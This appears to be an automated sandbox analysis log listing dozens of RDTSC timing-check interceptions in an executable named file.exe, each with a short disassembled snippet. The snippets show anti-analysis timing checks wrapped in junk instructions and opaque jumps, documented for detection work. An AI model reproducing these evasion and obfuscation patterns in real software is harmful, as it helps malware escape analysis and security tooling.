Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A27BB second address: 13A280E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c cmc 0x0000000d push 00000003h 0x0000000f mov esi, dword ptr [ebp+122D1C45h] 0x00000015 mov di, ax 0x00000018 push 00000000h 0x0000001a mov edi, dword ptr [ebp+122D2B2Ah] 0x00000020 jmp 00007F7E0935AD64h 0x00000025 push 00000003h 0x00000027 mov dword ptr [ebp+122D2F63h], ecx 0x0000002d push 885DE399h 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A280E second address: 13A2826 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B9414h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A28D7 second address: 13A2931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F7E0935AD58h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 jnp 00007F7E0935AD6Ah 0x00000027 pushad 0x00000028 call 00007F7E0935AD61h 0x0000002d pop ecx 0x0000002e popad 0x0000002f push 00000000h 0x00000031 call 00007F7E0935AD59h 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jnl 00007F7E0935AD56h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2931 second address: 13A2935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2935 second address: 13A294A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7E0935AD5Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A294A second address: 13A2988 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7E090B941Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jno 00007F7E090B940Eh 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jl 00007F7E090B9406h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2988 second address: 13A29B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F7E0935AD5Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A29B1 second address: 13A29C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jl 00007F7E090B9414h 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F7E090B9406h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A29C9 second address: 13A2A09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov ecx, dword ptr [ebp+122D1C2Ah] 0x0000000d push 00000003h 0x0000000f clc 0x00000010 push 00000000h 0x00000012 mov ecx, ebx 0x00000014 push 00000003h 0x00000016 mov di, CF6Bh 0x0000001a call 00007F7E0935AD59h 0x0000001f pushad 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jg 00007F7E0935AD56h 0x00000029 popad 0x0000002a pushad 0x0000002b pushad 0x0000002c popad 0x0000002d jbe 00007F7E0935AD56h 0x00000033 popad 0x00000034 popad 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2A09 second address: 13A2A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2A0D second address: 13A2A2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2A2A second address: 13A2A59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B940Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F7E090B9414h 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2A59 second address: 13A2A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD64h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2A72 second address: 13A2A77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2A77 second address: 13A2AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD5Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 js 00007F7E0935AD5Ah 0x00000016 push edi 0x00000017 pushad 0x00000018 popad 0x00000019 pop edi 0x0000001a pop eax 0x0000001b sub dword ptr [ebp+122D1C83h], ecx 0x00000021 lea ebx, dword ptr [ebp+124563E7h] 0x00000027 clc 0x00000028 sub dh, 00000032h 0x0000002b xchg eax, ebx 0x0000002c jmp 00007F7E0935AD69h 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F7E0935AD62h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138DFB8 second address: 138DFBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138DFBC second address: 138DFC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138DFC2 second address: 138DFD3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7E090B940Ch 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138DFD3 second address: 138DFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138DFD9 second address: 138DFDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C26F0 second address: 13C2715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7E0935AD75h 0x0000000a jmp 00007F7E0935AD69h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C2DFE second address: 13C2E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C31FF second address: 13C3232 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD64h 0x00000007 jbe 00007F7E0935AD56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F7E0935AD5Ah 0x00000018 push edx 0x00000019 jbe 00007F7E0935AD56h 0x0000001f pop edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C34E5 second address: 13C34EB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3E5C second address: 13C3E62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3FB0 second address: 13C3FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7E090B9406h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3FBB second address: 13C3FC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3FC1 second address: 13C3FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3FC7 second address: 13C3FD2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C4121 second address: 13C4125 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C4125 second address: 13C413A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F7E0935AD5Ah 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C413A second address: 13C413E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C413E second address: 13C4157 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F7E0935AD56h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C42DC second address: 13C42E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C42E0 second address: 13C42E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C76AF second address: 13C76F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B9411h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jno 00007F7E090B9412h 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jmp 00007F7E090B9418h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C76F6 second address: 13C76FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C76FF second address: 13C7703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA3B5 second address: 13CA3B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA3B9 second address: 13CA3F2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7E090B9406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F7E090B940Dh 0x0000000f popad 0x00000010 push eax 0x00000011 push esi 0x00000012 jbe 00007F7E090B940Ch 0x00000018 pop esi 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d jp 00007F7E090B9412h 0x00000023 jo 00007F7E090B940Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA50C second address: 13CA510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF3BA second address: 13CF3BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF518 second address: 13CF51E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF68B second address: 13CF6A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F7E090B940Ch 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f ja 00007F7E090B9406h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFAC4 second address: 13CFAD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFAD3 second address: 13CFAEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B9410h 0x00000007 push esi 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFAEA second address: 13CFB09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c ja 00007F7E0935AD56h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F7E0935AD5Ah 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFB09 second address: 13CFB27 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7E090B9419h 0x00000008 jmp 00007F7E090B9411h 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFC7D second address: 13CFC9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD64h 0x00000009 pop edx 0x0000000a ja 00007F7E0935AD5Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFC9E second address: 13CFCA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFCA6 second address: 13CFCC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD66h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFCC0 second address: 13CFCC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFCC6 second address: 13CFCE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 js 00007F7E0935AD62h 0x0000000e jnp 00007F7E0935AD56h 0x00000014 jng 00007F7E0935AD56h 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d pop edi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFCE6 second address: 13CFCEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFCEA second address: 13CFD24 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7E0935AD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jnl 00007F7E0935AD56h 0x00000011 jmp 00007F7E0935AD61h 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F7E0935AD65h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFE6A second address: 13CFE70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFE70 second address: 13CFE88 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7E0935AD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007F7E0935AD5Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFE88 second address: 13CFE9C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7E090B940Ch 0x00000008 jnc 00007F7E090B9406h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFE9C second address: 13CFEA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFEA0 second address: 13CFEA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFEA4 second address: 13CFEC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jl 00007F7E0935AD56h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F7E0935AD60h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1E67 second address: 13D1E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1E72 second address: 13D1E76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1F24 second address: 13D1F2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1F2A second address: 13D1F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1F2E second address: 13D1F3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1F3E second address: 13D1F48 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7E0935AD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1F48 second address: 13D1FFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B9416h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007F7E090B9413h 0x00000012 pop eax 0x00000013 jmp 00007F7E090B9419h 0x00000018 call 00007F7E090B9409h 0x0000001d jns 00007F7E090B9414h 0x00000023 push eax 0x00000024 jng 00007F7E090B9413h 0x0000002a jmp 00007F7E090B940Dh 0x0000002f mov eax, dword ptr [esp+04h] 0x00000033 jbe 00007F7E090B940Ch 0x00000039 mov eax, dword ptr [eax] 0x0000003b push edx 0x0000003c jmp 00007F7E090B9414h 0x00000041 pop edx 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F7E090B940Ah 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D22CD second address: 13D22FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F7E0935AD56h 0x00000009 jmp 00007F7E0935AD64h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7E0935AD5Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D25D1 second address: 13D25D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2BFA second address: 13D2C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], ebx 0x00000009 nop 0x0000000a jno 00007F7E0935AD5Eh 0x00000010 push eax 0x00000011 jc 00007F7E0935AD60h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2FA6 second address: 13D2FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D30A6 second address: 13D30AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D35B0 second address: 13D35FC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a or esi, 58FFAAB0h 0x00000010 add dword ptr [ebp+122D386Ah], edi 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007F7E090B9408h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 mov esi, eax 0x00000034 sub dword ptr [ebp+1246636Ch], esi 0x0000003a push 00000000h 0x0000003c mov esi, dword ptr [ebp+122D1CE3h] 0x00000042 xchg eax, ebx 0x00000043 push ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D35FC second address: 13D3600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D3E74 second address: 13D3E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a ja 00007F7E090B9406h 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D3E85 second address: 13D3E8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6FAB second address: 13D7034 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7E090B9413h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jbe 00007F7E090B9415h 0x00000011 nop 0x00000012 mov edi, dword ptr [ebp+122D2A72h] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007F7E090B9408h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 mov edi, edx 0x00000036 mov edi, edx 0x00000038 push 00000000h 0x0000003a sub dword ptr [ebp+122D2773h], ecx 0x00000040 xchg eax, ebx 0x00000041 jmp 00007F7E090B940Ah 0x00000046 push eax 0x00000047 pushad 0x00000048 jmp 00007F7E090B9413h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6D45 second address: 13D6D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6D49 second address: 13D6D53 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7E090B9406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7AD6 second address: 13D7AE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7AE6 second address: 13D7AFD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7E090B940Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7AFD second address: 13D7B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
